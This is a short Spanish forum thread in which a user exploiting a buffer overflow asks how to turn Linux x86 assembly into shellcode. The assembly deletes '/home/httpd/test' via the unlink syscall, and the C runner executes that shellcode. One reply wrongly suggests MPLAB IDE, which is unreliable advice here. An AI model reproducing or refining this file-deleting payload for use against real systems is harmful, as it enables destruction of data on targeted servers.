Hola a todos, estoy explotando un bof necesito una ayuda.
Necesito pasar esta serie de instrucciones a hexa para luego ejecutarlo con C.
.section .data
__archivo:
.asciz "/home/httpd/test" # Archivo a eliminar.
.section .text
.global main
main:
movl $10, %eax
movl $__archivo, %ebx
int $0x80
movl %eax, %ebx
movl $1, %eax
int $0x80
Quiero pasar este código asm que borra un archivo a C tipo:
char sc[] = "\xb8\x0a\x00\x00\x00\xbb\x8c\x90\x04\x08\xcd\x80\x89\xc3\xb8\x01\x00\x00\x00\xcd\x80";
int main (void){
int (*func)();
func = (int (*)())sc;
(int)(*func)();
}
Pero me parece que estoy pasando mal el asm al hexadecimal, ¿cómo puedo pasarlo para ejecutarlo desde C?
Probé hacerlo con objdump pero no funciona.
Saludos.
HOLA!!!
Podes pasarlo a HEX usando MPLAB IDE que descargas gratis de www.microchip.com
Como hacerlo:
GRACIAS POR LEER!!!
No, es ASM de GNU/Linux
Con gcc as.s -o a y luego objdump -d a pero no me guarda las strings, va después lo pienso seguro me sale solo.
Cualquier ASM se puede pasar a HEX porque cada instrucción tiene un número hex que le corresponde a cada instrucción pero mi duda es con las variables.
Gracias igual.
Ya lo solucioné.